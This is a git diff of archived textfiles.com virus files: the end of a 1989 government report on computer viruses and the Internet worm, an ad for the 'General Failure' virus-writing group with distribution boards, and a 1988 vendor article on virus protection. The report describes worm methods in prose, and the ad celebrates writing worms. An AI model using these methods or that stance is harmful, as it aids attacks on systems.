prosecution in future +incidents. + + ** The term "discovery" refers to pretrial legal procedures + that can be used by one party to obtain facts and + information from the other party in order to assist in + preparation for trial. + + *** Texas v. Burleson, unreported. Our discussion is + derived from an unpublished case summary prepared by the + Office of the Criminal District Attorney, Tarrant + County, Texas. + +PROPOSED LEGISLATION ON COMPUTER +VIRUSES AND RELATED OFFENSES + + Two bills have been introduced in the Congress dealing with +computer viruses and related conduct. These bills contain +language addressing computer-virus type incidents. In addition, +they provide for a private right of action authorizing the +injured party to sue for a violation. Neither of the bills +includes a forfeiture penalty. + + The proposed Computer Virus Eradication Act of 1989 (H.R. +55) adds a new provision to the Computer Fraud and Abuse Act of +1986 prohibiting the introduction of commands or information into +a computer program knowing that they may cause loss, expense, or +risk to the health or welfare of the computer's users or to +persons who rely on information contained in the computer +program. The bill also prohibits individuals from knowingly +transferring a program containing such instructions in +circumstances where the recipient is unaware of the program or +its effects. The bill provides for criminal penalties and fines +and authorizes victims to sue for a violation of the statute. + + The second bill, the Computer Protection Act of l989 +(H.R. 287), prohibits the knowing and willful sabotage of the +proper operation of a computer hardware system or associated +software that results in loss of data, impaired computer +operation, or tangible loss or harm to the computer's owner. +This bill also provides for criminal penalties and fines and +authorizes the victim to sue for a violation of the statute. + + In addition to these bills, which have been referred to the +Judiciary Committee, Department of Justice officials said they +are considering draft legislation to better address virus-type +incidents. + +CONCLUSIONS + + Federal laws are not specifically directed at virus-type +incidents. The law most relevant to such incidents is untested +with respect to virus-type offenses and contains terms that are +not defined. To date, no federal computer virus-type cases have +been tried. In addition, the technical nature of computer virus- +type incidents may hinder the prosecution of computer virus-type +cases. Legislation directed at computer virus-type incidents +could eliminate the uncertainty regarding the applicability of +current laws. + + +APPENDIX I + + HISTORY OF COMPUTER VIRUSES + + Computer viruses and worms are generally described as +programs that can infect, replicate, and spread among computer +systems.** The effects of viruses and worms have ranged from an +unexpected message flashed on a computer's screen to destruction +of valuable data and program files. Although computer viruses +are a relatively recent threat, there are many varieties or +strains that may infect computer systems. + + ** Viruses are closely related to computer worms--they + both spread and reproduce and their effects can be + identical. The primary distinction between the two + is that a worm is self-replicating and self-propagating, + while a virus requires (usually unwitting) human + assistance to propagate. Virus propagation can occur + by sharing diskettes, forwarding mail messages, or + other means. + +VULNERABILITIES IN PC DESIGN AND +USE HAVE BEEN EXPLOITED BY VIRUSES + + Historically, most viruses have attacked personal computers +rather than other systems, such as minicomputers, workstations, +and mainframes. A Defense official said that the principal +reason for this is that the first generation of PCs, due to their +hardware and systems software design, are intrinsically +vulnerable. For example: + + -- Early generation PCs do not have the same hardware and + software capabilities for managing system resources + that workstations and larger scale systems do. PCs + were originally intended to serve only one user, and + limitations on user privileges were not incorporated + into PCs' accessing schemes. + + -- Most PCs do not differentiate among users and, + therefore, every person who operates a PC has access to + all resources. + -- With PCs, the programs that enable the computer to + operate are unprotected; they are stored on the same + hard disk as the operator's files and there are few + limitations on accessing program files. + +In addition, PCs are often used in offices, where access is not +monitored or recorded. Diskettes are shared among computer +users, and networking is becoming common practice in +organizations that use PCs. These operating conditions enable +virus-type programs to spread among computers with relative ease. + + According to Defense agency officials, creating a PC virus +requires only moderate programming skills and access to a PC. +These and other basic security weaknesses often make PC virus +prevention, detection, and eradication difficult. + +HOW VIRUSES SPREAD + + Viruses are often spread among PCs by sharing infected +computer diskettes, down-loading infected programs from +electronic bulletin boards, or using infected software packages. +For example, viruses may spread when an infected diskette is +loaded into a computer. The virus may copy itself from the +infected diskette onto the PC's hard disk. When other diskettes +are inserted into the infected machine, they also become +infected. These newly infected diskettes can then infect other +computers that they come in contact with. This cycle continues +until the virus is detected and eliminated. In the PC community, +computers can be reinfected many times by the same virus and, +even after viral attacks, may be left just as vulnerable as +before. Therefore, virus attacks in the PC community may last +for months or years. Recently, networks have also been used to +transmit viruses among personal computers. + + Viruses and other similar programs can be designed to +trigger a wide variety of actions. For example, they can destroy +files and hinder or stop computer operations. Viruses may also +be designed to remain dormant until certain conditions occur. +When the designated condition is met, the virus activates to +achieve its intended purpose. For example, some viruses have +been reported to trigger an action on a specified day, such as +Friday the 13th, or after being recopied a certain number of +times. Such threats can be difficult to address because they can +create a false sense of security and hinder detection and +recovery by infecting backup files. Viruses can also have less +severe consequences. For example, they may create a message on +the computer monitor, creating a nuisance and interrupting +activities but not causing any damage. + +EXAMPLES OF VIRUSES + + Viruses are tailored to attack specific systems and spread +in different ways. Following are examples of well known PC +viruses: + + -- The 1986 "Pakistani Brain" virus was reportedly + implanted in software packages as a warning or threat + to those who recopy software. It infected IBM PCs and + compatibles and copied itself onto diskettes that were + inserted into infected systems. The virus contained + the message "Welcome to the dungeon. Beware of this + VIRUS. Contact us for vaccination." The message also + included an address and phone number of the two + brothers in Pakistan who originally distributed the + software. + + -- The "Scores" virus of 1987 attacked Macintosh PCs. + This virus infected utility programs and then + transferred copies of itself onto program files located + on diskettes inserted into the infected machines. The + Scores virus caused system slowdown and printing + problems. + + -- The "Lehigh" virus, discovered in 1987 at Lehigh + University, attacked IBM PCs and compatibles. It + infected PC operating systems and copied itself onto + diskettes inserted into the machines. It was + programmed to infect four disks and then to destroy the + computer's file system. It reportedly infected several + hundred computers, many of which lost all the data on + their disks. + + The "Christmas Tree" virus of 1987 attacked IBM mainframes +through an international network. It used electronic mail +services to send copies of itself to network users. It displayed +a holiday message on the receiver's screen and then mailed itself +to others. The virus spread like an electronic chain letter +through many kinds of communication links, including satellites +and ocean cables, reportedly infecting computers in over 130 +countries. This virus caused both denial of services and system +shutdowns. + + While there are many different kinds of computer viruses, +there are also a number of commercial programs that can discover +specific viruses through such methods as comparing storage +requirements of an uninfected file with the actual storage space +being occupied at any time by the file. Software packages used +to discover specific viruses already present in computers include +"Disk Watcher," "Protec," and "Condom."** However, according to +Defense officials, because computer viruses are not recognizable +based solely on their behavior or appearance, their detection +cannot be completely assured. Currently, NCSC is evaluating such +packages. In addition, officials said that because of the +intrinsic vulnerabilities of most PCs, viruses can be written to +circumvent most PC software security features. + + ** There are other software packages aimed at preventing + initial viral infections. + +THE INTERNET VIRUS + + The Internet incident, in which a virus-type program +attacked computers through computer networks, demonstrates the +potential extent and swiftness of propagation of self-replicating +programs over networks. The Internet virus was the first to use +several security weaknesses to propagate autonomously over a +network. It was designed to attack Sun-3 and VAX computer +systems that used system software based on Berkeley Software +Distribution UNIX. It incorporated four primary attack methods +to access thousands of computers connected by network +communication lines. Two attack methods relied on implementation +errors in network utility programs, a third method gained system +access by guessing passwords, and the last method exploited local +network security assumptions to propagate within the local +networks. Because of the independent and flexible nature of its +attack strategy, the Internet virus was able to affect many +systems within a short period.** + + ** PCs were not infected because they are not host + computers on the Internet. + +Infection Through Software Holes + + The Internet depends on network utility programs, including +remote login, file transfer, message handling, and user status +reporting, to support communication between users. However, +software security holes in two utility programs, sendmail and +fingerd, enabled the Internet virus to propagate over the +networks.** + + ** The Internet virus exploited implementation errors on + two utility programs that enable users to use network + services. It did not attack or affect the computers' + operating systems -- the programs that control the + computer's operation and access to resources. + + Sendmail is a utility program that implements the Internet's +electronic mail services by interacting with remote sites +according to a standard mail protocol. The Internet virus used a +weakness in sendmail involving a feature called "debug." This +optional debug feature was designed into the original software as +a convenience to programmers who tested network operations. +According to Defense officials, the debug feature is not +necessary for standard operations and should have been turned off +in normal program distribution. However, through an apparent +oversight, it was left activated on some releases. In those +cases, the virus could exploit the debug command to send +components of itself to remote hosts. It reproduced itself +repeatedly as the computer received the virus components and +constructed and executed the code. + + Fingerd is a utility program that is intended to help remote +users by providing public information about other network users. +For example, fingerd can be used to determine which users are +logged on to a specific computer. The program collects +information from and delivers information to network users. + + The virus exploited a security flaw in fingerd's procedure +to collect information from remote network locations. In this +instance, the virus sent more characters than fingerd had space +to hold, thus overflowing the memory space allocated for storage +of input parameters. Once outside this storage space, the virus +overwrote the original program with portions of the virus code +and was able to assume control of fingerd. Masquerading as +fingerd and using fingerd's privileges, the virus could access, +alter, or destroy any file that fingerd could. However, the +virus was not destructive. It simply reproduced itself without +damaging programs or data. + +Passwords + + The Internet virus also accessed systems by guessing user +passwords. Many of the Internet's host computers store passwords +(in encrypted form) and users' names in public files, a situation +the virus exploited. The Internet virus encrypted potential +passwords and compared them to the encrypted password stored in +the computer's files. If they matched, the virus was able to +gain access, posing as a legitimate user. It tried various +passwords, including + + -- the user's first or last name, + + -- the last name spelled backwards, and + + -- the user's name appended to itself. + +In addition, the virus contained a list of 432 potential +passwords that it also encrypted and compared to the password +file. Examples of such passwords include algebra, beethoven, +tiger, unicorn, and wizard. The program also used words from the +on-line dictionaries of the infected computers on the networks. +Finally, access was attempted without using a password. + +Trusted Host Features + + Local area network managers can offer trusted host +privileges to specific users on designated computers. These +features are useful if a user wants to access his or her account +frequently from another location. However, once the Internet +virus infected computers on local area networks it was able to +spread to other computers by exploiting these privileges. It +used the feature to identify computers that had additional +accounts accessible through known names and passwords. By using +trusted host privileges, the virus was able to infect more +Internet computers. + + The virus also used trusted host privileges to identify +which machines on the local networks could be accessed from other +machines. The program was thus able to access many computers +connected by the local networks. A Defense official compared the +access policy on many of the Internet's local networks to +security in an office building. For instance, in some buildings, +visitors must pass through a security check at the entrance. +Once inside, not every door in the building is locked because it +is presumed that occupants have already passed the initial +security test when they entered the building. The Internet virus +took advantage of the local area network's assumption that it was +a legitimate process and spread to other machines within the +local network. + +Internet Virus Recovery + + The Internet virus was eradicated from most host computers +within 48 hours after it appeared, primarily through the efforts +of computer experts at university research institutions. Patches +were disseminated to sites to close the sendmail hole and fingerd +holes. Once these holes were closed, the Internet virus could +not reinfect the same computers providing the virus was not still +present in trusted host computers.** + + ** According to a Defense official, many sites temporarily + discontinued use of trusted host features until they + were assured that the virus had been eradicated. + + +APPENDIX II + + RESEARCH AIMED AT IMPROVING + COMPUTER AND OPEN NETWORK SECURITY + + Although DARPA, NIST, and NCSC sponsor or conduct +considerable computer security-related research, none of these +agencies are doing research specifically aimed at computer +viruses.** According to NCSC officials, NCSC analysis of virus- +type programs has been comparatively limited, with knowledge +about such programs largely confined to simple examples drawn +primarily from experiences with PC attacks and only recently +extended toward large host and network examples. These agencies +are, however, engaged in research that is aimed at enhancing +computer and network security and that is, to varying degrees, +applicable to open network environments, such as the Internet. + + ** NCSC is, however, evaluating commercial antiviral PC + software packages. According to an NCSC official, the + evaluation results will be distributed internally in + spring 1989. + +COMPUTER SECURITY CONCERNS INCLUDE RESTRICTING +DATA ACCESS AND ENSURING DATA INTEGRITY + + Computer and computer network security includes + + -- restricting data access to prevent disclosure of + classified or sensitive information to unauthorized + users and + + -- ensuring data integrity to protect data from + unauthorized or accidental change or destruction. + + A number of Internet users said that the government-- +particularly the Defense Department--has traditionally been more +concerned about restricting data access than ensuring data +integrity. For example, NCSC developed the "orange" and "red" +books to describe computer systems that provide different degrees +of access control.** + + ** NCSC's "Trusted Computer System Evaluation Criteria", + commonly referred to as the "orange book," describes + criteria for evaluating computer security. These + criteria describe the technical characteristics of a + secure stand-alone compute system. The "Trusted Network + Evaluatin Criteria," referred to as the "red book," + describes criteria for evaluating network security. + + Current systems that meet stringent security requirements do +so through physical isolation and providing access only to +authorized individuals. To meet such requirements, sacrifices +must be made in system function, performance, and cost, which are +often unacceptable in an open network environment. + +OVERVIEW OF SOME RESEARCH AND +PROJECTS THAT MAY IMPROVE SECURITY + + The challenge in security research is to develop ways to +increase security while minimizing the dollar, convenience, and +performance costs associated with such security measures. +Internet users, network sponsors, and vendors cited the following +examples of research and methods that may improve computer and +network security. These include (1) cryptographic methods and +technology to permit users to send messages that can be +understood (decrypted) only by the intended recipient, (2) +improving controls on routing messages over the Internet, and (3) +improving operating system quality to decrease program flaws and +other security vulnerabilities. + +Cryptographic Methods + + Cryptography--the science of coding information to restrict +its use to authorized users--can help ensure data integrity and +confidentiality. NIST has designated one cryptographic approach, +the Data Encryption Standard, as a Federal Information Processing +Standard. This method involves a symmetric algorithm, which +means the same "key" is used to both code and decipher data.** +Research and development have produced advances in using +cryptographic methods in such areas as public-key encryption, +Kerberos authentication system, and portable access devices. + + ** An algorithm is the set of rules that describes the + encryption process. + + Public-key Encryption + + Unlike symmetric key systems, public-key encryption systems +use two different keys for encrypting and decrypting data. Each +user has a secret key and a public one. A sender uses the +recipient's public key to send a message, and the recipient uses +a private key to decode it. Since only the recipient holds the +secret key, the message can be communicated confidentially. If +the message is intercepted, or routed incorrectly, it cannot be +decrypted and read. In addition, the message can carry +additional information that assures the recipient of the sender's +identity. + + One method of implementing a public-key encryption system is +based on a mathematical algorithm, developed by R. Rivest, A. +Shamir, and L. Adleman at MIT, called the RSA algorithm. This +algorithm is based on the mathematical difficulty of deriving +prime factors.** Given an integer of more than 100 digits in +length, it is very difficult to calculate its prime factors. + + ** A prime number can be divided only by itself and the + number 1, without leaving a remainder. + + Recently, the Internet Activities Board proposed standards +based on a combination of the RSA algorithm and NIST's Data +Encryption Standard. The proposed standards describe a hybrid +cryptographic system intended to enhance the privacy of +electronic messages exchanged on the Internet and to authenticate +the sender's identity. The hybrid system uses symmetric +cryptography to encrypt the message and public-key cryptography +to transmit the key. + + Each Internet user who uses the RSA algorithm will also +receive an electronic certificate, electronically signed by a +trusted authority. A computer security expert compared the +certificate to a driver's license issued by the Department of +Motor Vehicles. In the latter case, the Motor Vehicles +Department is the trusted authority providing assurance to +whomever checks the license. An Internet Activities Board +official stated that this service should be available in late +1989. + + Kerberos Authentication System + + "Kerberos"** is a cryptographic-based challenged response +system used at MIT to authenticate users and host computers. +According to an MIT researcher, the system is intended to allow +any two machines on a network to conduct secure and trusted +communications, even when the network is known to be penetrated +by intruders and neither machine has any intrinsic reason to +trust the other. This system maintains passwords in a single +secure host called a key-server. Because passwords are only +present inside this key-server, the system is less vulnerable +than if passwords were passed over the network. Individual +machines make use of the key-server to authenticate users and +host computers. Other groups, such as Berkeley's Computer +Systems Research Group and Sun Microsystems, are also considering +implementing this system to strengthen security. + + ** Also Cerberos -- in Greek mythology, the name of the + three-headed dog who guarded the entrance to the + underworld. + + Portable Access Control Devices + + One small credit-sized device--called a "smart card"--uses +cryptographic technology to control access to computers and +computer networks. A smart card contains one or more integrated +circuit chips, constituting a microprocessor, memory, and +input/output interface. The card manages, stores, receives, and +transmits information. + + Each smart card has its own personal identifier known only +to the user and its own stored and encrypted password. When the +user inserts the smart card into the reader/writer device, the +terminal displays a message that identifies the smart card's +owner. The user then enters the personal identifier. Once the +identifier is authenticated, the host computer allows the user +access. The smart card contains information that identifies what +level of access the user is allowed. The smart card also +maintains its own user audit trail. + + According to a NIST official, smart cards are not currently +in widespread use. This official stated, however, that a major +credit card company is currently testing smart cards. In +addition, the Belgian banking industry is testing smart card +technology for use in electronic funds transfers, and NIST is +testing smart card technology for the U.S. Department of the +Treasury. Potential applications of smart card technology for +the Treasury Department include authenticating disbursement +requests from other federal agencies. + + According to researchers, other portable access control +devices are currently available. For example, one device--also a +small-sized card--periodically displays changing encrypted values +based on the time of day. A user enters the value displayed by +the card to gain access to the host computer. Each card contains +a unique encryption key. Because the host computer knows the +time of day and can decipher the value displayed on the card, the +host computer can authenticate a user. + + Another small authentication device is available that +contains a display screen and a small keyboard. When a user +requests access to a host computer system, the host computer +sends an encrypted challenge to the remote terminal. The user +enters the challenge in the portable device and obtains an +encrypted response to send to the host computer. If the user's +response is correct, the host computer allows the user access. +The advantage of these devices over smart cards is that no +reader/writer device is required. + +Improved Controls in Message Routing + + Messages exchanged on the Internet travel through a series +of networks connected by electronic switching units or +"gateways." Messages are transmitted piecemeal in separate data +groupings or "packets." Each packet contains address +information, which a gateway reads to route the packet to its +destination. Gateways also decide which paths to use. For +example, a gateway can decide which path can route the data +packet to its destination most quickly. + + The message-switching technology incorporated on the +Internet is very sophisticated. Although Internet uses advanced +technology, Internet users have limited control over message +routing. Data may travel through several different networks on +the way to their ultimate destination. However, a user cannot +easily indicate his routing preferences to the Internet. For +example, he cannot practically specify that his packets not be +routed over a particular network, nor can a network sponsor +practically specify that only packets of certain Internet users +be allowed to traverse that network. + + Research into a method called policy-based routing is +currently underway that would allow Internet users the option of +selecting their own communications paths by specifying certain +parameters. Network sponsors could enforce their own individual +network policies, perhaps by restricting their network resources +to a certain class of users. Policy-based routing gives network +users and owners some control over the particular routes data may +take. For example, data packets that belong to the Defense +Department could be routed using its network resources. + + According to researchers, some of the technology needed for +policy-based routing is not very complicated. Technology exists +that can sort traffic into categories and route it through +selected networks. However, labeling individual data packets +with the necessary policy-based routing information is difficult. +In particular, it is difficult to determine what information +should be included on labels. + +Improvements in Operating System Quality + + Other researchers are attempting to improve operating system +quality by decreasing program flaws and other security +vulnerabilities. For example, DARPA is sponsoring formal methods +projects for the development of high quality assurance software +systems. These techniques will be applied to operating systems. + + + The formal methods techniques involve using mathematically +precise specifications statements for critical program +properties, such as safety and security. Using these +specifications, it may be possible to ensure, by using a chain of +mathematical proofs, that a program will operate as intended, and +not in any other way. According to a DARPA official, unlike past +approaches, current efforts focus on achieving assurance of +quality during the design stage rather than attempting to apply +techniques to already existing systems. The official noted that +although the formal methods project is in the relatively early +stages of research, the techniques are already being applied on a +small scale in applications where very high levels of assurance +are required. The official said that there is significant +progress in Europe in this area, particularly in the United +Kingdom. + + +APPENDIX III + + MAJOR CONTRIBUTORS TO THIS REPORT + + +INFORMATION MANAGEMENT AND TECHNOLOGY DIVISION, WASHINGTON, D.C + +Jack L. Brock, Jr., Director of Government Information and + Financial Management, (202) 275-3195 +Glen Trochelman, Assistant Director +Jerilynn B. Hoy, Evaluator-in-Charge +Mary T. Brewer, Evaluator +Beverly A. Peterson, Evaluator +Gwendolyn Dittmer, Evaluator + +OFFICE OF THE GENERAL COUNSEL, WASHINGTON, D.C. + +John Carter, Attorney/Advisor + +BOSTON REGIONAL OFFICE + +Jeffrey Appel, Site Senior +Debra Braskett, Evaluator + +SAN FRANCISCO REGIONAL OFFICE + +Don Porteous, Evaluator + + +(510351) + + + + + + + + + + diff --git a/textfiles.com/virus/gf.txt b/textfiles.com/virus/gf.txt new file mode 100644 index 00000000..7ac7e47e --- /dev/null +++ b/textfiles.com/virus/gf.txt @@ -0,0 +1,69 @@ + + + 栢賽賽賽 栢賽賽賽 栢賽� 栢 栢賽賽賽 栢賽賽賞 幡賽賽� 栢 + 栢 栢複複� 栢 栢 栢 栢複複� 栢複複蔔 白複複� 栢 + 栢 賽賞 栢 栢 栢 栢 栢 栢 蔔 � 蔔 栢 + 栢複複蔔 栢複複複 栢 栢複� 栢複複複 栢 栢� � � 栢複複� + + 栢賽賽賽 幡賽賽� 栢 栢 栢 栢 栢賽賽賞 栢賽賽賽 + 栢複複� 白複複� 栢 栢 栢 栢 栢複複蔔 栢複複� + 栢 � 蔔 栢 栢 栢 栢 栢 蔔 栢 + 栢 � � 栢 栢複複� 栢複複蔔 栢 栢� 栢複複複 + + + An H/P/A/V/C Oriented Computer Organization + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + + We, at General Failure, specialize in making computer activities + a lot more exciting, by creating phunky worms, eliminating lame + boards, programming weird viral tools, etc. + + + + General Failure Members + 컴컴컴컴컴컴컴컴컴컴컴� + + Alex; Ara쨅; Billy; George; Herbais; + JM; Oro; Pablito ; Pipa; Walt DiZnEy + + + + + General Failure Can Be Reached At These Kool Boards + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + + -- Endless Riddance -- + Everyday, From 11Pm To 7Am. + Phone Number: (Confidential, By Now) + + + + -- No Future -- + Mondays To Fridays, From 11Pm To 7Am. + Phone Number: 541-923-1876 + ** An Official GF Distribution Site ** + + + + -- Perpetual XTC -- + Everyday, From 11Pm To 7Am. + Phone Number: 541-827-2511 + ** An Official GF Distribution Site ** + + + + -- Satanic Brain -- + Everyday, 24hs A Day! + Phone Number: 541-383-7480 + ** Official NuKE International Site ** + + + + + + + Check Out For Our New Releases! + + \ No newline at end of file diff --git a/textfiles.com/virus/glath.vir b/textfiles.com/virus/glath.vir new file mode 100644 index 00000000..e0aa0cf0 --- /dev/null +++ b/textfiles.com/virus/glath.vir @@ -0,0 +1,552 @@ + + + + + COMPUTER VIRUSES: A RATIONAL VIEW + + by: Raymond M. Glath + President + + RG Software Systems, Inc. + 2300 Computer Ave. + Suite I-51 + Willow Grove, PA 19090 + (215) 659-5300 + + +April 14, 1988 + + +WHAT ARE COMPUTER VIRUSES? +(a.k.a. Trojan Horses, Worms, Time Bombs, Sabotage) + +Any software that has been developed specifically for the purpose +of interfering with a computer's normal operations. + + +WHAT DO THEY DO? + +There are two major categories of viruses. + +Destructive viruses, that cause: + + Massive destruction... + ie: Low level format of disk(s), whereby any programs + and data on the disk are not recoverable. + + Partial destruction... + ie: Erasure or modification of a portion of a disk. + + Selective destruction... + ie: Erasure or modification of specific files or file + groups. + + Random havoc... The most insidious form of all. + ie: Randomly changing data on disk or in RAM during + normal program applications, or changing keystroke + values, or data from other input/output devices, + with the result being an inordinate amount of time + to discover and repair the problem, and damage + that may never be known about. + +Non-Destructive viruses, intended to cause attention to the + author or to harass the end user. + + a. Annoyances... + ie: Displaying a message, changing display colors, + changing keystroke values such as reversing the + effect of the Shift and Unshift keys, etc. + + +WHAT IS THE IMPACT OF A VIRUS ATTACK BEYOND THE OBVIOUS? + +Lost productivity time !!! + +In addition to the time and skills required to re-construct +damaged data files, viruses can waste a lot of time in many other +ways. + +With either type of virus, the person subjected to the attack as +well as many support personnel from the attacked site and from +various suppliers, will sacrifice many hours of otherwise +productive time: + + Time to determine the cause of the attack. + The removal of the virus code from the system. + The recovery of lost data. + The detective work required to locate the original source of + the virus code. + + Then, there's the management time required to determine how + this will be prevented in the future. + + +WHO DEVELOPS VIRUSES? + +This individual, regardless of his specific motivation, will most +probably want to see some form of publicity resulting from his +handiwork. Anywhere from a "Gotcha" message appearing on the +computer's screen after the attack, to major press coverage of +that particular virus' spread and wake of damage. + +Some of the reasons for someone to spend their time developing a +virus program are: + + A practical joke. + A personal vendetta against a company or another person. + ie: a disgruntled employee. + The computer-literate political terrorist. + Someone trying to gain publicity for some cause or + product. + The bored, un-noticed "genius," who wants attention. + The mentally disturbed sociopath. + + +IS THE THREAT REAL? + +Yes, however thus far the destructive ones have primarily been in +the Academic environment. Several attacks have been documented by +the press, and, from first hand experience, I can attest to the +fact that those reported do exist. We have seen some of them and +successfully tested our Disk Watcher product against them. + +Reputable individuals have reported additional viruses to us, but +these have not reached the scale of distribution achieved by the +now infamous "Lehigh," "Brain," "Israeli," and "MacIntosh" +viruses. + +We do expect the situation to worsen due to the attention it's +received. Taking simple lessons from history, a new phenomenon, +once given attention, will be replicated by individuals who +otherwise have no opportunity for personal attention. + +Now that there are products for defense from viruses, the virus +writers have been given a challenge; and for those people who +have always wanted to anonymously strike out at someone but +didn't know of a method to do so, the coverage has provided a +"How To" guide. + + +HOW DOES A VIRUS GET INTO YOUR COMPUTER SYSTEM? + +A virus may be entered into a system by an unsuspecting user who +has been duped by the virus creator (Covert entry), or it may be +entered directly by the creator. (Overt entry.) + + Examples of Covert entry of a virus into a computer + system. + + A "carrier" program such as a "pirate" copy of a + commercial package that has been tampered with, is + utilized by the un-suspecting user, and thus + enters the virus code into the system. + + Other types of carriers could be programs from + Bulletin Boards that have been either tampered + with or specifically designed as viruses, but + disguised as useful programs. There has even been + a destructive virus disguised as a "virus + protection" program on a BBS. + + The user unknowingly acquires an "infected" disk + and uses it to boot the system. + + The virus has been hidden in the system files and + then hides itself in system RAM or other system + files in order to reproduce, and later, attack. + + + Examples of Overt entry into a computer system. + + An individual bent on harassing the user or + sabotaging the computer system, modifies an + existing program on that computer or copies a + virus program onto someone's disk during their + absence from their work station. + + +HOW DOES A VIRUS SPREAD? + +A virus may reproduce itself by delaying its attack until it has +made copies of itself onto other disks (Active reproduction,) or +it may depend entirely on unsuspecting users to make copies of it +and pass them around (Passive reproduction). It may also use a +combination of these methods. + + +WHAT TRIGGERS THE VIRUS ATTACK? + +Attacks begin upon the occurrence of a certain event, such as: + + On a certain date. + At a certain time of day. + When a certain job is run. + After "cloning" itself n times. + When a certain combination of keystrokes occurs. + When the computer is restarted. + +One way or another, the virus code must put itself into a +position to either start itself when the computer is turned on, +or when a specific program is run. + + +HOW DOES ONE DISTINGUISH A VIRUS FROM A "BUG" IN A PROGRAM OR A +HARDWARE MALFUNCTION? + +This can be a tough one. With the publicity surrounding viruses, +many people are ready to believe that any strange occurrence +while computing may have been caused by a virus, when it could +simply be an operational error, hardware component failure, or a +software "bug." + +While most commercial software developers test their products +exhaustively, there is always the possibility that some +combination of hardware; mix of installed TSR's; user actions; or +slight incompatibilities with "compatible" or "clone" machines or +components; can cause a problem to surface. + +We need to remember some key points here: + +1. Examine the probabilities of your having contacted a virus. + +2. Don't just assume that you've been attacked by a virus and + abandon your normal troubleshooting techniques or those + recommended by the product manufacturers. + +3. When in doubt contact your supplier or the manufacturer for + tech support. + +4. Having an effective "Virus Protection" system installed may + help you determine the cause of the problem. + + +HOW CAN YOU AVOID COMING IN CONTACT WITH VIRUSES? + +1. Know and be comfortable with the source of your software + acquisitions. + + If you use a BBS (Bulletin Board,) verify that the BBS is + reputable and that it has satisfactory procedures in + place to check out its software as well as provisions + to prevent that software from being modified. + + Do not use illegitimate copies of software. + + Be sure that the developer of the software you're using + is a professional. Note that many "Shareware" products + are professionally produced. You needn't stop using + them. Just be sure that you have a legitimate copy of + the program if you choose to use these products. + + Don't accept free software that looks too good to be + true. + +2. Install a professional virus protection package on your + computer that will alert you to any strange goings on. + +3. Provide physical security for your computers. + ie: Locked rooms; locks on the computers; etc. + +4. If you're unsure of a disk or a specific program, run it in an + isolated environment where it will not be able to do any + damage. + + ie: Run the program on a "diskette only" computer, and keep + a write-protect tab on your "System Disk." + + Run the program with "Virus Protection" software + installed. + +5. Establish and maintain a sound Back-Up policy. + + DO NOT USE ONLY ONE SET OF BACK-UP DISKS THAT ARE + CONTINUOUSLY WRITTEN OVER. + + Use at least three complete sets of back-up disks that are + rotated in a regular cycle. + + +DO YOU NEED SOME FORM OF PROTECTION FROM VIRUSES? + +It couldn't hurt !!! You do lock the door to your home + when you go out, right? + +Plan in advance the methods you'll use to ward off virus attacks. +It's a far more effective use of management time to establish +preventative measures in a calm environment instead of making +panic decisions after a virus attack has occurred. + + +IS THERE ANY SOLUTION AVAILABLE THAT'S ABSOLUTELY FOOLPROOF? + +No !!! + +Any security system can be broken by someone dedicated and +knowledgeable enough to put forth the effort to break the system. + + +WHAT LEVEL OF PROTECTION DO YOU NEED? + +This of course depends on many factors, such as: + + 1. The sensitivity of the data on your PC's. + 2. The number of personnel having access to your PC's. + 3. The security awareness of computing personnel. + 4. The skill levels of computing personnel. + 5. Attitudes, ethics, and morale of computing personnel. + +A key point of consideration is the threshold for the amount of +security you can use versus its impact on normal productivity. + +Human nature must also be considered. If you were to install 10 +locks on your front door and it cost you 5 minutes each time you +enter your home, I'll bet that the first time that it's +raining... and you have 3 bags of groceries... you'll go back to +using the one lock you always used. + + +HOW CAN A SOFTWARE PRODUCT PROTECT AGAINST VIRUSES? + +There are several approaches that have been developed. + +One form is an "inoculation" or "signature" process, whereby the +key files on a disk are marked in a special way and periodically +checked to see if the files have been changed. Depending on the +way in which this is implemented, this method can actually interfere +with programs that have built-in integrity checks. + +Another method is to "Write Protect" specific key areas of the +disk so that no software is permitted to change the data in those +places. + +We at RG Software Systems, Inc. believe that preventative +measures are the most effective. The Disk Watcher system provides +multiple lines of defense: A "Batch" type program automatically +checks all active disk drives for the presence of certain hidden +virus characteristics when the computer is started, and a TSR +(Terminate and Stay Resident) program monitors ongoing disk +activity throughout all processing. The "Batch" program +can also be run on demand at any time to check the disk in a +specific drive. + +The TSR program, in addition to its other "Disaster +Prevention" features, contains a series of proprietary algorithms +that detect the behavior characteristics of a myriad of virus +programs, and yet produce minimal overhead in processing time +and "false alarm" reports. Disk Watcher is uniquely able to tell +the difference between legitimate IO activity and the IO activity +of a virus program. + +When an action occurs indicative of a virus attempting to reproduce itself; +alter another program; set itself up to be automatically run the next +time the system is started; or attempting to perform a massively damaging +act; Disk Watcher will automatically "pop up." The user will then have +several options, one of which is to immediately stop the computer before any +damage can be done. Detection occurs BEFORE the action takes place. + +Other options allow the user to tell Disk Watcher to continue the +application program and remember that this program is permitted +to perform the action that triggered the "pop up." + + Some very important features of Disk Watcher are: + + Whenever the user selects the "Stop the Computer" option, the + Application screen image and the Disk Watcher screen image will be + sent to the system printer before the machine is stopped, so that + an effective analysis of the problem may be done. + + Disk Watcher performs an integrity check on itself whenever it runs. + +The "Destructive" viruses that produce "selective" file +destruction or "Random Havoc" are the most difficult to defend +against. The best measures are to prevent them from getting into +the system in the first place. + + +WHICH VIRUS PROTECTION PACKAGE IS RIGHT FOR YOU? + +Since the first reports of virus attacks appeared in the press, a +number of "Virus Prevention" products have quickly appeared on +the market, produced by companies wishing to take advantage of a +unique market opportunity. This is to be expected. RG Software +Systems, Inc. is one of them with our Disk Watcher product. + +It should be pointed out, however, that as of this writing, only +a little over 2 months has transpired since the first major +stories appeared. + +Those companies that have had to build a product from scratch +during this limited amount of time have had to design the +defensive system, write the program code, write the user's +manual, design the packaging, "Alpha" test, "Beta" test, and +bring their product through manufacturing to market. A monumental +task in a miraculously short period of time. + +Companies that have had products on the market that include virus +protection, or products that were enhanced to include virus +protection, such as Disk Watcher, have had extra time and field +experience for the stabilization of their products. + +As a professional in this industry, I sincerely hope that the +quickly developed products are stable in their released form. + +The evaluation points listed below are usually applied as a +standard for all types of software products: + + + *Price + *Performance + *Ease of Use + *Ease of Learning + *Ease of Installation + *Documentation + *Copy Protection + *Support + +A "Virus Protection" package, like a security system for your +home, requires a close scrutiny. You want the system to do the +job unobtrusively, and yet be effective. + 